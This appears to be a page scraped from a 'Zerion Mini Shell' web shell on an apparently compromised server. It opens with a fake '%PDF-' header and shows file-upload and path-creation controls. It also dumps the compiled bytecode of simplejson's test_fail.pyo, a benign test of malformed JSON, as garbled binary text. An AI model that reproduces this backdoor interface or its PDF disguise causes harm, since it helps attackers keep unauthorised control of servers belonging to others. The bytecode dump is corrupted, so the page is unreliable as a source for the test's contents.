%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/simplejson/tests/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/simplejson/tests/test_fail.pyo

�
�UzMc@s�ddlmZddlZddddddd	d
ddd
ddddddddddddddgZidd6dd6Zd efd!��YZdS("i����(tTestCaseNs<"A JSON payload should be an object or array, not a string."s["Unclosed array"s${unquoted_key: "keys must be quoted}s["extra comma",]s["double extra comma",,]s[   , "<-- missing value"]s["Comma after the close"],s["Extra close"]]s{"Extra comma": true,}s:{"Extra value after close": true} "misplaced quoted value"s{"Illegal expression": 1 + 2}s{"Illegal invocation": alert()}s+{"Numbers cannot have leading zeroes": 013}s{"Numbers cannot be hex": 0x14}s"["Illegal backslash escape: \x15"]s ["Illegal backslash escape: \'"]s"["Illegal backslash escape: \017"]s2[[[[[[[[[[[[[[[[[[[["Too deep"]]]]]]]]]]]]]]]]]]]]s{"Missing colon" null}s{"Double colon":: null}s {"Comma instead of colon", null}s!["Colon instead of comma": false]s["Bad value", truth]s['single quote']u$["AZ control characters in string"]swhy not have a string payload?is,spec doesn't specify any nesting limitationsitTestFailcBseZd�Zd�ZRS(cCs�x�tt�D]t\}}|d}|tkrBtj|�q
nytj|�Wntjk
riq
X|jd||f�q
WdS(Nis$Expected failure for fail%d.json: %r(t	enumeratetJSONDOCStSKIPStjsontloadstJSONDecodeErrortfail(tselftidxtdoc((sM/opt/alt/python27/lib64/python2.7/site-packages/simplejson/tests/test_fail.pyt
test_failuresAs

cCs�x�ddgD]�}ytj|�Wnxtjk
ru}|j|jd�|j|jd�|j|jd�q
tk
r�}|jd||f�q
X|jd�q
WdS(Nu[,]s[,]is!Unexpected exception raised %r %ss Unexpected success parsing '[,]'(	RRRtassertEqualstpostlinenotcolnot	ExceptionR(R	Rte((sM/opt/alt/python27/lib64/python2.7/site-packages/simplejson/tests/test_fail.pyttest_array_decoder_issue46Os(t__name__t
__module__RR(((sM/opt/alt/python27/lib64/python2.7/site-packages/simplejson/tests/test_fail.pyR@s	(tunittestRt
simplejsonRRRR(((sM/opt/alt/python27/lib64/python2.7/site-packages/simplejson/tests/test_fail.pyt<module>s<	


Zerion Mini Shell 1.0